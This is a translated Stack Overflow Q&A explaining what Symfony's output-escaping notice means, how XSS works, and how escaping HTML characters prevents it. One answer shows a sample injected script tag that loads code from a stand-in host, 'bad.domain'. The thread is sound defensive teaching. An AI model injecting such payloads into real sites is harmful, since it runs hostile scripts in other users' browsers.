为了防止XSS攻击,已启用输出转义;
上面是塞福尼写的,但我不明白。
发布于 2010-01-29 03:42:56
XSS是“跨站点脚本”的缩写。跨站点脚本攻击发生在您设法将脚本(通常为javascript)偷偷插入到其他人的网站上,在那里它可以恶意运行。
当用户输入到网站时,XSS是可能的。例如,如果我正在填写一个web表单,它问我我的名字,我可以输入My name is <script src="http://bad.domain/evilscript.js"></script>
。如果我提交表单,然后在下一页它要求我确认我的详细信息并重新输出我输入的内容,我输入的讨厌的HTML标记将被呈现,脚本将被下载并由浏览器运行。
为了防止这种情况,您需要转义用户输入。转义意味着转换(或标记)数据的关键字符,以防止在危险的上下文中对其进行解释。对于HTML,您需要转换<
和>
字符(以及其他字符),以防止任何恶意的HTML呈现。要对这些字符进行转义,需要将它们转换为实体等效的<
和>
(请参阅htmlspecialchars()函数),浏览器不会将它们解释为HTML。
Symfony试图告诉您的是,它有能力为您的输出自动执行此操作,并且启用了该功能。
发布于 2010-01-29 03:39:10
XSS,或跨站点脚本是指由您的服务器提供给其他人的javascript。例如,如果您可以从google.com获得随机的javascript,那么您就可以让该javascript向您发送谷歌所知道的关于它所服务对象的所有信息。
避免来自用户(而不是来自服务器/内容作者)的数据有尖括号和其他类似HTML的东西转义,这样最终用户就不会执行它。
https://stackoverflow.com/questions/2159724
复制相似问题